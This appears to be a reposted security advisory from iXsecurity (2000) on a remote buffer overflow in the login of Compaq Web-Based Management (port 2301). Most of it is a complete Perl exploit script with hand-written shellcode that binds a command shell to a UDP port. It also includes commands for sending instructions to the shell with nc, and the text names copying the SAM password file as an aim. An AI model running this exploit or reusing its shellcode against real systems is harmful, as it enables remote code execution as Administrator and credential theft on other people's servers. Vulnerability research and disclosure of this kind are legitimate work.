|
Vulnerability Compaq Management Agents Affected Compaq Management Agents (Software version 4.70 verified) Description Following is based on a iXsecurity Security Vulnerability Report. The authentication of Compaq Web-Based Management contains a remotely exploitable buffer overflow. Anyone that has access to port 2301 on a Windows NT server can run arbitrary code as Administrators (like RDS). http://Server.with.CWBM:2301/cpqlogin.htm is accessible for everyone by default and contains a remotely exploitable buffer overflow. Compaq Management Agents and Compaq Web-Based Management is installed by default using the SmartStart CD. The Web-Based Management binds to port 2301 and the java applet (on http://IP:2301/cpqlogin.htm that is used for an user to log in, sends username and encrypted password to http://IP:2301/Proxy/LoginResponse Due to the lack of bounds checking, the user name sent to this URL can be used to overwrite the EIP. This happens when the user name is exactly 460 bytes long. If the user name is more than 460 bytes, but less than (about) 1500 bytes, another overflow occurs that we cannot currently exploit. If the user name is over 1500 bytes, an error message is returned! This is interesting, because it seems like there is *some* kind of bounds checking after all. It just doesn't work properly. Before the fatal return instruction, there is a POP EBP, so EBP is also overwritten. Our initial research indicates that the stack for this process is always placed at the virtual address 0x00fdffff (on Windows NT SP3) and growing up towards lower addresses (as usual). At the moment, we use this fact to do a direct jump to the assumed beginning of the buffer. Since we are way below 452 bytes, we use the spare bytes in the beginning for a NOP sled. With this setup, we have a maximum of 452 bytes to use for the payload. Barnaby Jack's frequently used (and very nice) payload vector is closer to 600 bytes, so we take a slightly different approach. First, we use a datagram socket instead of a stream socket. That saves us a few bytes. Then we don't use anonymous pipes and don't return anything to the client. That makes it less user friendly, but saves us a lot of bytes. Finally, we use WinExec instead of creating a cmd.exe process. This saves some bytes. Eventually this affects our rights, but we can at least still run rdisk and copy the sam file. That takes us a long way in proof-of-concept terms. Using this approach we are aldready way below our 453 byte limit. Actually this code is about 256 bytes. Happy about reaching the goal directly, we have not even tried to optimized the code. Therefore it will be easy to get it even smaller if it is necessary. Drop us a line if you do it or if you need any help to do it. This Perl script uses MD5. This code is using direct jumps. It may not work on your system. It has only been tested on Windows NT SP3 and SP6a. When investigating iXsecurity found the password hash algorithm. This algorithm is used in the code to create logon cookies. iXsecurity have written a Compaq cookie password cracker using this algorith. #!/usr/bin/perl $ver = "Comphack 1.3 -- iXsecurity Sweden, December 2000"; $code = "Ian Vitek, ian.vitek\@ixsecurity.com"; $asm = "Anders Ingeborn, ingeborn\@ixsecurity.com"; $spam = "We are now hiring in Sweden and United Kingdom"; $|=1; use MD5; use Socket; require 'getopts.pl'; # Modified Sendraw - thanx RFP rfp@wiretrip.net sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; sleep 20 if($exp); while(<S>){ push @in, $_;} # Messing up FH 8) Dirty? Yupp! # Try to figure out why # Clue: Windows select($undef); close(S); return @in; } else { die("\n Can't connect...\n"); } } Getopts('s:p:P:m:h'); print "\n$ver\n Perlcode: $code\n ASM code: $asm\n"; die " $spam\n\ usage: $0 -s <host> [options] \ \t-s <host> Host with Compaq Web Manager\ \t-p <port> Port (Def: 2301)\ \t-P <port> CMD.EXE port (Def: 23001)\ \t-m [3|6] Service Pack (Def: 3)\ \t-h This help\n\ Then send commands to port 23001/udp like this:\ echo \"cmd /c mkdir c:\\iXsecurity\" | nc -u <host> 23001\n\n" if ( $opt_h || ! $opt_s || ! ( $opt_m==3 || $opt_m==6 || $opt_m eq "" ) ); $httphead="Referer: http://${opt_s}:2301/\ Connection: Keep-Alive\ User-Agent: Mozilla/4.73 [en] (X11; U; Linux 2.2.16 i686)\ Host: ${opt_s}:2301\ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\ Accept-Encoding: gzip\ Accept-Language: en\ Accept-Charset: iso-8859-1,*,utf-8"; $opt_p = 2301 if(!$opt_p); $port = $opt_p; $opt_P = 23001 if(!$opt_P); $opt_P=$opt_P % 65536; die " int(CMDport/256) or (CMDport % 256) may not be 65!\n\n" if (int($opt_P/256)==65 || ($opt_P % 256)==65); $var1=int($opt_P/256) ^ 65; $var2=($opt_P %256) ^ 65; $CMDport=sprintf("%s%s",chr($var1),chr($var2)); $target = inet_aton($opt_s); $r = "\x0D\x0A"; $opt_m = 3 if(!$opt_m); $offset="\xfd"; $offset="\xfa" if($opt_m==6); $m = $opt_m; $exp=0; ## NOP sled $payload = ""; $i = 0; while( $i++ <= 207 ) { $payload .= "\x90"; } $payload .= "\xbc\x41\x54\xf6$offset"; #qd4 $payload .= "\xc1\xec\x08"; #qd4 $payload .= "\xc1\xed\x08"; #qd3 $payload .= "\x31\xc9"; $payload .= "\x81\xc1\x41\x41\x41\x52"; $payload .= "\xc1\xe9\x18"; $payload .= "\x80\x74\x29\x01\x41"; #qd1 $payload .= "\xe2\xf9"; $payload .= "\x8d\x45\x02"; $payload .= "\x50"; #LoadLibrary if( $m == "3" ) #NT4SP3 { $payload .= "\xb8\x56\x37\xf1\x77"; } if( $m == "5" ) #NT4SP5 { $payload .= "\xb8\xc9\x37\xf1\x77"; } if( $m == "6" ) #NT4SP6 { $payload .= "\xb8\xbd\x37\xf1\x77"; } $payload .= "\xff\xd0"; $payload .= "\x89\xc3"; #GetProcAddress if( $m == "3" ) #NT4SP3 { $payload .= "\xbe\x57\x3f\xf1\x77"; } if( $m == "5" ) #NT4SP5 { $payload .= "\xbe\xca\x3f\xf1\x77"; } if( $m == "6" ) #NT4SP6 { $payload .= "\xbe\xb3\x3f\xf1\x77"; } $payload .= "\x8d\x45\x09"; #qd2 $payload .= "\x40"; #qd2 $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x8d\x45\x11"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x8d\x45\x16"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x8d\x45\x1f"; $payload .= "\x50"; #LoadLibrary if( $m == "3" ) #NT4SP3 { $payload .= "\xb8\x56\x37\xf1\x77"; } if( $m == "5" ) #NT4SP5 { $payload .= "\xb8\xc9\x37\xf1\x77"; } if( $m == "6" ) #NT4SP6 { $payload .= "\xb8\xbd\x37\xf1\x77"; } $payload .= "\xff\xd0"; $payload .= "\x89\xc3"; $payload .= "\x8d\x45\x28"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x31\xc0"; $payload .= "\x50"; $payload .= "\x40"; $payload .= "\x40"; $payload .= "\x50"; $payload .= "\x50"; $payload .= "\xff\x57\xf0"; $payload .= "\x89\xc3"; $payload .= "\x6a\x10"; $payload .= "\x8d\x45\x30"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\x57\xf4"; $payload .= "\x8d\x45\x50"; $payload .= "\x50"; $payload .= "\x8d\x45\x40"; $payload .= "\x50"; $payload .= "\x31\xc0"; $payload .= "\x50"; $payload .= "\x6a\x7f"; $payload .= "\x8d\x07"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\x57\xf8"; $payload .= "\x3c\x06"; $payload .= "\x0f\x8e\xe4\xff\xff\xff"; $payload .= "\x80\x64\x07\xff\x01"; $payload .= "\x8d\x07"; $payload .= "\x50"; $payload .= "\xff\x57\xfc"; $payload .= "\x39\xc0"; $payload .= "\x0f\x84\xd1\xff\xff\xff"; #data xor:ed with A $payload .= "\x36\x32\x2e\x22\x2a\x72\x73\x41"; $payload .= "\x32\x2e\x22\x2a\x24\x35\x41"; $payload .= "\x23\x28\x2f\x25\x41"; $payload .= "\x33\x24\x22\x37\x27\x33\x2e\x2c\x41"; $payload .= "\x2a\x24\x33\x2f\x24\x2d\x72\x73\x41"; $payload .= "\x16\x28\x2f\x04\x39\x24\x22\x41"; $payload .= "\x43\x41"; # CMDport xored with x41x41 $payload .= $CMDport; $payload .= "\x41\x41\x41\x41"; $payload .= "\x41\x41\x41\x41\x41\x41\x41\x41"; $payload .= "\x41\x41"; $payload .= "\x41\x41"; $payload .= "\x41\x41\x41\x41"; $payload .= "\x41\x41\x41\x41\x41\x41\x41\x41"; $payload .= "\x51\x41\x41\x41"; $ebp = "\x41\xc4\xf7$offset"; # Try to do a direct jump, cross your fingers $eip = "\x54\xf6$offset\x00"; $payload = $payload.$ebp.$eip; print "\n Init by logging in as ixsecurity:is_hiring\n"; print " Trying to bind CMD.EXE to UDP port $opt_P\n"; print " Wait 10 seconds. Try then the command:\n"; print " echo \"cmd /c mkdir c:\\cim_bo\" | nc -u $opt_s $opt_P\n"; &cpqlogin("ixsecurity","is_hiring"); &sendexp; sub cpqlogin { $cpquser=$_[0]; $cpqpass=$_[1]; # Get loginpage and cookie @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r"); foreach $line (@res) { if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) { # Rebuild cookie to password respond $tmp=$2; $tmp++; $ccoo="$1$tmp$3"; } } $stringUserPass=$cpquser . ":" . $cpqpass; $md5StringUserPass=uc MD5->hexhash($stringUserPass); $loginCookie1=$ccoo . $cpquser . $md5StringUserPass; $md5LoginCookie=uc MD5->hexhash($loginCookie1); $ccoo.=$md5LoginCookie; # Login @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $cpquser$r$r"); foreach $line (@res) { if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) { $ccoon="$1$2$3"; } } sleep 2; # Do some surfing @res = sendraw("GET / HTTP/1.0${r}${httphead}${r}Cookie: $ccoon$r$r"); sleep 2; } sub sendexp { # Get loginpage and fresh cookie @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r"); foreach $line (@res) { if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) { # Rebuild cookie to password respond $tmp=$2; $tmp++; $ccoo="$1$tmp$3"; } } $stringUserPass="iXsecurity" . ":" . "iXsecurity"; $md5StringUserPass=uc MD5->hexhash($stringUserPass); $loginCookie1=$ccoo . "iXsecurity" . $md5StringUserPass; $md5LoginCookie=uc MD5->hexhash($loginCookie1); $ccoo.=$md5LoginCookie; $exp=1; # Send buffer... @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $payload$r$r"); die " $0 failed!\n\n" if($res[0]=~/HTTP/); die " Port $opt_P is now closed or $0 failed!\n\n"; } Solution Compaq Advisory located: http://www.compaq.com/products/servers/management/agentsecurity.html